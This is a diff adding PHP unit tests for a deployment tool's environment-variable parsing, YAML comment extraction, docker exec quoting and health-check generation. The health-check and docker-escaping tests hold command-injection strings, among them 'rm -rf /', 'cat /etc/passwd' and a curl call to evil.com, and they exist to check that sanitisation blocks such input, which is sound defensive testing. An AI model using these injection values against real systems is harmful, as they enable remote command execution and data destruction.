+test('splitOnOperatorOutsideNested handles equals sign in default', function () {
+ $split = splitOnOperatorOutsideNested('VAR:-key=value&foo=bar');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('VAR')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('key=value&foo=bar');
+});
+
+test('splitOnOperatorOutsideNested handles dashes in default value', function () {
+ $split = splitOnOperatorOutsideNested('A:-value-with-dashes');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('A')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('value-with-dashes');
+});
+
+test('splitOnOperatorOutsideNested handles question mark in default value', function () {
+ $split = splitOnOperatorOutsideNested('A:-what?');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('A')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('what?');
+});
+
+test('extractBalancedBraceContent handles variable with digits', function () {
+ $result = extractBalancedBraceContent('${VAR123}', 0);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe('VAR123');
+});
+
+test('extractBalancedBraceContent handles long variable name', function () {
+ $longName = str_repeat('A', 200);
+ $result = extractBalancedBraceContent('${'.$longName.'}', 0);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe($longName);
+});
+
+test('splitOnOperatorOutsideNested returns null for empty string', function () {
+ $split = splitOnOperatorOutsideNested('');
+
+ assertNull($split);
+});
+
+test('splitOnOperatorOutsideNested handles variable name with underscores', function () {
+ $split = splitOnOperatorOutsideNested('_MY_VAR_:-default');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('_MY_VAR_')
+ ->and($split['default'])->toBe('default');
+});
+
+test('extractBalancedBraceContent with startPos beyond string length', function () {
+ $result = extractBalancedBraceContent('${VAR}', 100);
+
+ assertNull($result);
+});
+
+test('extractBalancedBraceContent handles brace in middle of text', function () {
+ $result = extractBalancedBraceContent('prefix ${VAR} suffix', 0);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe('VAR');
+});
+
+// ─── Deeply Nested Defaults ────────────────────────────────────────────────────
+
+test('extractBalancedBraceContent handles four levels of nesting', function () {
+ $input = '${A:-${B:-${C:-${D}}}}';
+
+ $result = extractBalancedBraceContent($input, 0);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe('A:-${B:-${C:-${D}}}');
+});
+
+test('splitOnOperatorOutsideNested handles four levels of nesting', function () {
+ $content = 'A:-${B:-${C:-${D}}}';
+ $split = splitOnOperatorOutsideNested($content);
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('A')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('${B:-${C:-${D}}}');
+
+ // Verify second level
+ $nested = extractBalancedBraceContent($split['default'], 0);
+ assertNotNull($nested);
+ $split2 = splitOnOperatorOutsideNested($nested['content']);
+ assertNotNull($split2);
+ expect($split2['variable'])->toBe('B')
+ ->and($split2['default'])->toBe('${C:-${D}}');
+});
+
+test('multiple variables at same depth in default', function () {
+ $input = '${A:-${B}/${C}/${D}}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ assertNotNull($result);
+
+ $split = splitOnOperatorOutsideNested($result['content']);
+ assertNotNull($split);
+ expect($split['default'])->toBe('${B}/${C}/${D}');
+
+ // Verify all three nested variables can be found
+ $default = $split['default'];
+ $vars = [];
+ $pos = 0;
+ while (($nested = extractBalancedBraceContent($default, $pos)) !== null) {
+ $vars[] = $nested['content'];
+ $pos = $nested['end'] + 1;
+ }
+
+ expect($vars)->toBe(['B', 'C', 'D']);
+});
+
+test('nested with mixed operators', function () {
+ $input = '${A:-${B:?required}}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['variable'])->toBe('A')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('${B:?required}');
+
+ // Inner variable uses :? operator
+ $nested = extractBalancedBraceContent($split['default'], 0);
+ $innerSplit = splitOnOperatorOutsideNested($nested['content']);
+
+ expect($innerSplit['variable'])->toBe('B')
+ ->and($innerSplit['operator'])->toBe(':?')
+ ->and($innerSplit['default'])->toBe('required');
+});
+
+test('nested variable without default as default', function () {
+ $input = '${A:-${B}}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['default'])->toBe('${B}');
+
+ $nested = extractBalancedBraceContent($split['default'], 0);
+ $innerSplit = splitOnOperatorOutsideNested($nested['content']);
+
+ assertNull($innerSplit);
+ expect($nested['content'])->toBe('B');
+});
+
+// ─── Backwards Compatibility ───────────────────────────────────────────────────
+
+test('replaceVariables with brace format without dollar sign', function () {
+ $result = replaceVariables('{MY_VAR}');
+
+ expect($result->value())->toBe('MY_VAR');
+});
+
+test('replaceVariables with truncated brace format', function () {
+ $result = replaceVariables('{MY_VAR');
+
+ expect($result->value())->toBe('MY_VAR');
+});
+
+test('replaceVariables with plain string returns unchanged', function () {
+ $result = replaceVariables('plain_value');
+
+ expect($result->value())->toBe('plain_value');
+});
+
+test('replaceVariables preserves full content for variable with default', function () {
+ $result = replaceVariables('${DB_HOST:-localhost}');
+
+ expect($result->value())->toBe('DB_HOST:-localhost');
+});
+
+test('replaceVariables preserves nested content for variable with nested default', function () {
+ $result = replaceVariables('${DB_URL:-${SERVICE_URL_PG}/db}');
+
+ expect($result->value())->toBe('DB_URL:-${SERVICE_URL_PG}/db');
+});
+
+test('replaceVariables with brace format containing default falls back gracefully', function () {
+ $result = replaceVariables('{VAR:-default}');
+
+ expect($result->value())->toBe('VAR:-default');
+});
+
+test('splitOnOperatorOutsideNested colon-dash takes precedence over bare dash', function () {
+ $split = splitOnOperatorOutsideNested('VAR:-val-ue');
+
+ assertNotNull($split);
+ expect($split['operator'])->toBe(':-')
+ ->and($split['variable'])->toBe('VAR')
+ ->and($split['default'])->toBe('val-ue');
+});
+
+test('splitOnOperatorOutsideNested colon-question takes precedence over bare question', function () {
+ $split = splitOnOperatorOutsideNested('VAR:?error?');
+
+ assertNotNull($split);
+ expect($split['operator'])->toBe(':?')
+ ->and($split['variable'])->toBe('VAR')
+ ->and($split['default'])->toBe('error?');
+});
+
+test('full round trip: extract, split, and resolve nested variables', function () {
+ $input = '${APP_URL:-${SERVICE_URL_APP}/v${API_VERSION:-2}/health}';
+
+ // Step 1: Extract outer content
+ $result = extractBalancedBraceContent($input, 0);
+ assertNotNull($result);
+ expect($result['content'])->toBe('APP_URL:-${SERVICE_URL_APP}/v${API_VERSION:-2}/health');
+
+ // Step 2: Split on outer operator
+ $split = splitOnOperatorOutsideNested($result['content']);
+ assertNotNull($split);
+ expect($split['variable'])->toBe('APP_URL')
+ ->and($split['default'])->toBe('${SERVICE_URL_APP}/v${API_VERSION:-2}/health');
+
+ // Step 3: Find all nested variables in default
+ $default = $split['default'];
+ $nestedVars = [];
+ $pos = 0;
+ while (($nested = extractBalancedBraceContent($default, $pos)) !== null) {
+ $innerSplit = splitOnOperatorOutsideNested($nested['content']);
+ $nestedVars[] = [
+ 'name' => $innerSplit !== null ? $innerSplit['variable'] : $nested['content'],
+ 'default' => $innerSplit !== null ? $innerSplit['default'] : null,
+ ];
+ $pos = $nested['end'] + 1;
+ }
+
+ expect($nestedVars)->toHaveCount(2)
+ ->and($nestedVars[0]['name'])->toBe('SERVICE_URL_APP')
+ ->and($nestedVars[0]['default'])->toBeNull()
+ ->and($nestedVars[1]['name'])->toBe('API_VERSION')
+ ->and($nestedVars[1]['default'])->toBe('2');
+});
diff --git a/tests/Unit/ExecuteInDockerEscapingTest.php b/tests/Unit/ExecuteInDockerEscapingTest.php
new file mode 100644
index 000000000..14777ca1c
--- /dev/null
+++ b/tests/Unit/ExecuteInDockerEscapingTest.php
@@ -0,0 +1,35 @@
+toBe("docker exec test-container bash -c 'ls -la /app'");
+});
+
+it('escapes single quotes in command', function () {
+ $result = executeInDocker('test-container', "echo 'hello world'");
+
+ expect($result)->toBe("docker exec test-container bash -c 'echo '\\''hello world'\\'''");
+});
+
+it('prevents command injection via single quote breakout', function () {
+ $malicious = "cd /dir && docker compose build'; id; #";
+ $result = executeInDocker('test-container', $malicious);
+
+ // The single quote in the malicious command should be escaped so it cannot break out of bash -c
+ // The raw unescaped pattern "build'; id;" must not appear — the quote must be escaped
+ expect($result)->not->toContain("build'; id;");
+ expect($result)->toBe("docker exec test-container bash -c 'cd /dir && docker compose build'\\''; id; #'");
+});
+
+it('handles empty command', function () {
+ $result = executeInDocker('test-container', '');
+
+ expect($result)->toBe("docker exec test-container bash -c ''");
+});
+
+it('handles command with multiple single quotes', function () {
+ $result = executeInDocker('test-container', "echo 'a' && echo 'b'");
+
+ expect($result)->toBe("docker exec test-container bash -c 'echo '\\''a'\\'' && echo '\\''b'\\'''");
+});
diff --git a/tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php b/tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php
new file mode 100644
index 000000000..8d8caacaf
--- /dev/null
+++ b/tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php
@@ -0,0 +1,147 @@
+toHaveCount(2)
+ ->and($result[0]['key'])->toBe('NODE_ENV')
+ ->and($result[0]['value'])->toBe('production')
+ ->and($result[0]['service_name'])->toBe('app')
+ ->and($result[1]['key'])->toBe('PORT')
+ ->and($result[1]['value'])->toBe('3000')
+ ->and($result[1]['service_name'])->toBe('app');
+});
+
+test('extracts environment variables with inline comments', function () {
+ $yaml = <<<'YAML'
+services:
+ app:
+ environment:
+ - NODE_ENV=production # Production environment
+ - DEBUG=false # Disable debug mode
+YAML;
+
+ $result = extractHardcodedEnvironmentVariables($yaml);
+
+ expect($result)->toHaveCount(2)
+ ->and($result[0]['comment'])->toBe('Production environment')
+ ->and($result[1]['comment'])->toBe('Disable debug mode');
+});
+
+test('handles multiple services', function () {
+ $yaml = <<<'YAML'
+services:
+ app:
+ environment:
+ - APP_ENV=prod
+ db:
+ environment:
+ - POSTGRES_DB=mydb
+YAML;
+
+ $result = extractHardcodedEnvironmentVariables($yaml);
+
+ expect($result)->toHaveCount(2)
+ ->and($result[0]['key'])->toBe('APP_ENV')
+ ->and($result[0]['service_name'])->toBe('app')
+ ->and($result[1]['key'])->toBe('POSTGRES_DB')
+ ->and($result[1]['service_name'])->toBe('db');
+});
+
+test('handles associative array format', function () {
+ $yaml = <<<'YAML'
+services:
+ app:
+ environment:
+ NODE_ENV: production
+ PORT: 3000
+YAML;
+
+ $result = extractHardcodedEnvironmentVariables($yaml);
+
+ expect($result)->toHaveCount(2)
+ ->and($result[0]['key'])->toBe('NODE_ENV')
+ ->and($result[0]['value'])->toBe('production')
+ ->and($result[1]['key'])->toBe('PORT')
+ ->and($result[1]['value'])->toBe(3000); // Integer values stay as integers from YAML
+});
+
+test('handles environment variables without values', function () {
+ $yaml = <<<'YAML'
+services:
+ app:
+ environment:
+ - API_KEY
+ - DEBUG=false
+YAML;
+
+ $result = extractHardcodedEnvironmentVariables($yaml);
+
+ expect($result)->toHaveCount(2)
+ ->and($result[0]['key'])->toBe('API_KEY')
+ ->and($result[0]['value'])->toBe('') // Variables without values get empty string, not null
+ ->and($result[1]['key'])->toBe('DEBUG')
+ ->and($result[1]['value'])->toBe('false');
+});
+
+test('returns empty collection for malformed YAML', function () {
+ $yaml = 'invalid: yaml: content::: [[[';
+
+ $result = extractHardcodedEnvironmentVariables($yaml);
+
+ expect($result)->toBeEmpty();
+});
+
+test('returns empty collection for empty compose file', function () {
+ $result = extractHardcodedEnvironmentVariables('');
+
+ expect($result)->toBeEmpty();
+});
+
+test('returns empty collection when no services defined', function () {
+ $yaml = <<<'YAML'
+version: '3.8'
+networks:
+ default:
+YAML;
+
+ $result = extractHardcodedEnvironmentVariables($yaml);
+
+ expect($result)->toBeEmpty();
+});
+
+test('returns empty collection when service has no environment section', function () {
+ $yaml = <<<'YAML'
+services:
+ app:
+ image: nginx
+YAML;
+
+ $result = extractHardcodedEnvironmentVariables($yaml);
+
+ expect($result)->toBeEmpty();
+});
+
+test('handles mixed associative and array format', function () {
+ $yaml = <<<'YAML'
+services:
+ app:
+ environment:
+ - NODE_ENV=production
+ PORT: 3000
+YAML;
+
+ $result = extractHardcodedEnvironmentVariables($yaml);
+
+ // Mixed format is invalid YAML and returns empty collection
+ expect($result)->toBeEmpty();
+});
diff --git a/tests/Unit/ExtractYamlEnvironmentCommentsTest.php b/tests/Unit/ExtractYamlEnvironmentCommentsTest.php
new file mode 100644
index 000000000..4300b3abf
--- /dev/null
+++ b/tests/Unit/ExtractYamlEnvironmentCommentsTest.php
@@ -0,0 +1,334 @@
+toBe([]);
+});
+
+test('extractYamlEnvironmentComments extracts inline comments from map format', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ FOO: bar # This is a comment
+ BAZ: qux
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'FOO' => 'This is a comment',
+ ]);
+});
+
+test('extractYamlEnvironmentComments extracts inline comments from array format', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ - FOO=bar # This is a comment
+ - BAZ=qux
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'FOO' => 'This is a comment',
+ ]);
+});
+
+test('extractYamlEnvironmentComments handles quoted values containing hash symbols', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ COLOR: "#FF0000" # hex color code
+ DB_URL: "postgres://user:pass#123@localhost" # database URL
+ PLAIN: value # no quotes
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'COLOR' => 'hex color code',
+ 'DB_URL' => 'database URL',
+ 'PLAIN' => 'no quotes',
+ ]);
+});
+
+test('extractYamlEnvironmentComments handles single quoted values containing hash symbols', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ PASSWORD: 'secret#123' # my password
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'PASSWORD' => 'my password',
+ ]);
+});
+
+test('extractYamlEnvironmentComments skips full-line comments', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ # This is a full line comment
+ FOO: bar # This is an inline comment
+ # Another full line comment
+ BAZ: qux
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'FOO' => 'This is an inline comment',
+ ]);
+});
+
+test('extractYamlEnvironmentComments handles multiple services', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ WEB_PORT: 8080 # web server port
+ db:
+ image: postgres:15
+ environment:
+ POSTGRES_USER: admin # database admin user
+ POSTGRES_PASSWORD: secret
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'WEB_PORT' => 'web server port',
+ 'POSTGRES_USER' => 'database admin user',
+ ]);
+});
+
+test('extractYamlEnvironmentComments handles variables without values', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ - DEBUG # enable debug mode
+ - VERBOSE
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'DEBUG' => 'enable debug mode',
+ ]);
+});
+
+test('extractYamlEnvironmentComments handles array format with colons', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ - DATABASE_URL: postgres://localhost # connection string
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'DATABASE_URL' => 'connection string',
+ ]);
+});
+
+test('extractYamlEnvironmentComments does not treat hash inside unquoted values as comment start', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ API_KEY: abc#def
+ OTHER: xyz # this is a comment
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ // abc#def has no space before #, so it's not treated as a comment
+ expect($result)->toBe([
+ 'OTHER' => 'this is a comment',
+ ]);
+});
+
+test('extractYamlEnvironmentComments handles empty environment section', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ ports:
+ - "80:80"
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([]);
+});
+
+test('extractYamlEnvironmentComments handles environment inline format (not supported)', function () {
+ // Inline format like environment: { FOO: bar } is not supported for comment extraction
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment: { FOO: bar }
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ // No comments extracted from inline format
+ expect($result)->toBe([]);
+});
+
+test('extractYamlEnvironmentComments handles complex real-world docker-compose', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+
+services:
+ app:
+ image: myapp:latest
+ environment:
+ NODE_ENV: production # Set to development for local
+ DATABASE_URL: "postgres://user:pass@db:5432/mydb" # Main database
+ REDIS_URL: "redis://cache:6379"
+ API_SECRET: "${API_SECRET}" # From .env file
+ LOG_LEVEL: debug # Options: debug, info, warn, error
+ ports:
+ - "3000:3000"
+
+ db:
+ image: postgres:15
+ environment:
+ POSTGRES_USER: user # Database admin username
+ POSTGRES_PASSWORD: "${DB_PASSWORD}"
+ POSTGRES_DB: mydb
+
+ cache:
+ image: redis:7
+ environment:
+ - REDIS_MAXMEMORY=256mb # Memory limit for cache
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'NODE_ENV' => 'Set to development for local',
+ 'DATABASE_URL' => 'Main database',
+ 'API_SECRET' => 'From .env file',
+ 'LOG_LEVEL' => 'Options: debug, info, warn, error',
+ 'POSTGRES_USER' => 'Database admin username',
+ 'REDIS_MAXMEMORY' => 'Memory limit for cache',
+ ]);
+});
+
+test('extractYamlEnvironmentComments handles comment with multiple hash symbols', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ environment:
+ FOO: bar # comment # with # hashes
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'FOO' => 'comment # with # hashes',
+ ]);
+});
+
+test('extractYamlEnvironmentComments handles variables with empty comments', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ environment:
+ FOO: bar #
+ BAZ: qux #
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ // Empty comments should not be included
+ expect($result)->toBe([]);
+});
+
+test('extractYamlEnvironmentComments properly exits environment block on new section', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ FOO: bar # env comment
+ ports:
+ - "80:80" # port comment should not be captured
+ volumes:
+ - ./data:/data # volume comment should not be captured
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ // Only environment variables should have comments extracted
+ expect($result)->toBe([
+ 'FOO' => 'env comment',
+ ]);
+});
+
+test('extractYamlEnvironmentComments handles SERVICE_ variables', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ environment:
+ SERVICE_FQDN_WEB: /api # Path for the web service
+ SERVICE_URL_WEB: # URL will be generated
+ NORMAL_VAR: value # Regular variable
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'SERVICE_FQDN_WEB' => 'Path for the web service',
+ 'SERVICE_URL_WEB' => 'URL will be generated',
+ 'NORMAL_VAR' => 'Regular variable',
+ ]);
+});
diff --git a/tests/Unit/HealthCheckCommandInjectionTest.php b/tests/Unit/HealthCheckCommandInjectionTest.php
new file mode 100644
index 000000000..534be700a
--- /dev/null
+++ b/tests/Unit/HealthCheckCommandInjectionTest.php
@@ -0,0 +1,269 @@
+ 'localhost; id > /tmp/pwned #',
+ ]);
+
+ // Should fall back to 'localhost' because input contains shell metacharacters
+ expect($result)->not->toContain('; id')
+ ->and($result)->not->toContain('/tmp/pwned')
+ ->and($result)->toContain('localhost');
+});
+
+it('sanitizes health_check_method to prevent command injection', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_method' => 'GET; curl http://evil.com #',
+ ]);
+
+ expect($result)->not->toContain('evil.com')
+ ->and($result)->not->toContain('; curl');
+});
+
+it('sanitizes health_check_path to prevent command injection', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_path' => '/health; rm -rf / #',
+ ]);
+
+ expect($result)->not->toContain('rm -rf')
+ ->and($result)->not->toContain('; rm');
+});
+
+it('sanitizes health_check_scheme to prevent command injection', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_scheme' => 'http; cat /etc/passwd #',
+ ]);
+
+ expect($result)->not->toContain('/etc/passwd')
+ ->and($result)->not->toContain('; cat');
+});
+
+it('casts health_check_port to integer to prevent injection', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_port' => '8080; whoami',
+ ]);
+
+ // (int) cast on non-numeric after digits yields 8080
+ expect($result)->not->toContain('whoami')
+ ->and($result)->toContain('8080');
+});
+
+it('generates valid healthcheck command with safe inputs', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_method' => 'GET',
+ 'health_check_scheme' => 'http',
+ 'health_check_host' => 'localhost',
+ 'health_check_port' => '8080',
+ 'health_check_path' => '/health',
+ ]);
+
+ expect($result)->toContain('curl -s -X')
+ ->and($result)->toContain('http://localhost:8080/health')
+ ->and($result)->toContain('wget -q -O-');
+});
+
+it('uses escapeshellarg on the constructed URL', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_host' => 'my-app.local',
+ 'health_check_path' => '/api/health',
+ ]);
+
+ // escapeshellarg wraps in single quotes
+ expect($result)->toContain("'http://my-app.local:80/api/health'");
+});
+
+it('validates health_check_host rejects shell metacharacters via API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = Validator::make(
+ ['health_check_host' => 'localhost; id #'],
+ ['health_check_host' => $rules['health_check_host']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('validates health_check_method rejects invalid methods via API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = Validator::make(
+ ['health_check_method' => 'GET; curl evil.com'],
+ ['health_check_method' => $rules['health_check_method']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('validates health_check_scheme rejects invalid schemes via API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = Validator::make(
+ ['health_check_scheme' => 'http; whoami'],
+ ['health_check_scheme' => $rules['health_check_scheme']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('validates health_check_path rejects shell metacharacters via API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = Validator::make(
+ ['health_check_path' => '/health; rm -rf /'],
+ ['health_check_path' => $rules['health_check_path']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('validates health_check_port rejects non-numeric values via API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = Validator::make(
+ ['health_check_port' => '8080; whoami'],
+ ['health_check_port' => $rules['health_check_port']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('allows valid health check values via API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = Validator::make(
+ [
+ 'health_check_host' => 'my-app.localhost',
+ 'health_check_method' => 'GET',
+ 'health_check_scheme' => 'https',
+ 'health_check_path' => '/api/v1/health',
+ 'health_check_port' => 8080,
+ ],
+ [
+ 'health_check_host' => $rules['health_check_host'],
+ 'health_check_method' => $rules['health_check_method'],
+ 'health_check_scheme' => $rules['health_check_scheme'],
+ 'health_check_path' => $rules['health_check_path'],
+ 'health_check_port' => $rules['health_check_port'],
+ ]
+ );
+
+ expect($validator->fails())->toBeFalse();
+});
+
+it('generates CMD healthcheck command directly', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'pg_isready -U postgres',
+ ]);
+
+ expect($result)->toBe('pg_isready -U postgres');
+});
+
+it('strips newlines from CMD healthcheck command', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => "redis-cli ping\n&& echo pwned",
+ ]);
+
+ expect($result)->not->toContain("\n")
+ ->and($result)->toBe('redis-cli ping && echo pwned');
+});
+
+it('falls back to HTTP healthcheck when CMD type has empty command', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => '',
+ ]);
+
+ // Should fall through to HTTP path
+ expect($result)->toContain('curl -s -X');
+});
+
+it('validates healthCheckCommand rejects strings over 1000 characters', function () {
+ $rules = [
+ 'healthCheckCommand' => 'nullable|string|max:1000',
+ ];
+
+ $validator = Validator::make(
+ ['healthCheckCommand' => str_repeat('a', 1001)],
+ $rules
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('validates healthCheckCommand accepts strings under 1000 characters', function () {
+ $rules = [
+ 'healthCheckCommand' => 'nullable|string|max:1000',
+ ];
+
+ $validator = Validator::make(
+ ['healthCheckCommand' => 'pg_isready -U postgres'],
+ $rules
+ );
+
+ expect($validator->fails())->toBeFalse();
+});
+
+/**
+ * Helper: Invokes the private generate_healthcheck_commands() method via reflection.
+ */
+function callGenerateHealthcheckCommands(array $overrides = []): string
+{
+ $defaults = [
+ 'health_check_type' => 'http',
+ 'health_check_command' => null,
+ 'health_check_method' => 'GET',
+ 'health_check_scheme' => 'http',
+ 'health_check_host' => 'localhost',
+ 'health_check_port' => null,
+ 'health_check_path' => '/',
+ 'ports_exposes' => '80',
+ ];
+
+ $values = array_merge($defaults, $overrides);
+
+ $application = Mockery::mock(Application::class)->makePartial();
+ $application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']);
+ $application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']);
+ $application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
+ $application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
+ $application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);
+ $application->shouldReceive('getAttribute')->with('health_check_port')->andReturn($values['health_check_port']);
+ $application->shouldReceive('getAttribute')->with('health_check_path')->andReturn($values['health_check_path']);
+ $application->shouldReceive('getAttribute')->with('ports_exposes_array')->andReturn(explode(',', $values['ports_exposes']));
+ $application->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks');
+
+ $settings = Mockery::mock(ApplicationSetting::class)->makePartial();
+ $settings->shouldReceive('getAttribute')->with('is_static')->andReturn(false);
+ $application->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
+
+ $deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
+
+ $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
+
+ $reflection = new ReflectionClass($job);
+
+ $appProp = $reflection->getProperty('application');
+ $appProp->setAccessible(true);
+ $appProp->setValue($job, $application);
+
+ $method = $reflection->getMethod('generate_healthcheck_commands');
+ $method->setAccessible(true);
+
+ return $method->invoke($job);
+}
diff --git a/tests/Unit/HetznerDeletionFailedNotificationTest.php b/tests/Unit/HetznerDeletionFailedNotificationTest.php
index 6cb9f0bb3..22d5e80db 100644
--- a/tests/Unit/HetznerDeletionFailedNotificationTest.php
+++ b/tests/Unit/HetznerDeletionFailedNotificationTest.php
@@ -1,7 +1,6 @@
['value' => 'value1', 'comment' => null],
+ 'KEY2' => ['value' => 'value2', 'comment' => 'This is a comment'],
+ 'KEY3' => ['value' => 'value3', 'comment' => null],
+ ];
+
+ // Test the extraction logic
+ foreach ($variables as $key => $data) {
+ // Handle both array format ['value' => ..., 'comment' => ...] and plain string values
+ $value = is_array($data) ? ($data['value'] ?? '') : $data;
+ $comment = is_array($data) ? ($data['comment'] ?? null) : null;
+
+ // Verify the extraction
+ expect($value)->toBeString();
+ expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']);
+
+ if ($key === 'KEY1') {
+ expect($value)->toBe('value1');
+ expect($comment)->toBeNull();
+ } elseif ($key === 'KEY2') {
+ expect($value)->toBe('value2');
+ expect($comment)->toBe('This is a comment');
+ } elseif ($key === 'KEY3') {
+ expect($value)->toBe('value3');
+ expect($comment)->toBeNull();
+ }
+ }
+});
+
+test('DockerCompose handles plain string format gracefully', function () {
+ // Simulate a scenario where parseEnvFormatToArray might return plain strings
+ // (for backward compatibility or edge cases)
+ $variables = [
+ 'KEY1' => 'value1',
+ 'KEY2' => 'value2',
+ 'KEY3' => 'value3',
+ ];
+
+ // Test the extraction logic
+ foreach ($variables as $key => $data) {
+ // Handle both array format ['value' => ..., 'comment' => ...] and plain string values
+ $value = is_array($data) ? ($data['value'] ?? '') : $data;
+ $comment = is_array($data) ? ($data['comment'] ?? null) : null;
+
+ // Verify the extraction
+ expect($value)->toBeString();
+ expect($comment)->toBeNull();
+ expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']);
+ }
+});
+
+test('DockerCompose handles mixed array and string formats', function () {
+ // Simulate a mixed scenario (unlikely but possible)
+ $variables = [
+ 'KEY1' => ['value' => 'value1', 'comment' => 'comment1'],
+ 'KEY2' => 'value2', // Plain string
+ 'KEY3' => ['value' => 'value3', 'comment' => null],
+ 'KEY4' => 'value4', // Plain string
+ ];
+
+ // Test the extraction logic
+ foreach ($variables as $key => $data) {
+ // Handle both array format ['value' => ..., 'comment' => ...] and plain string values
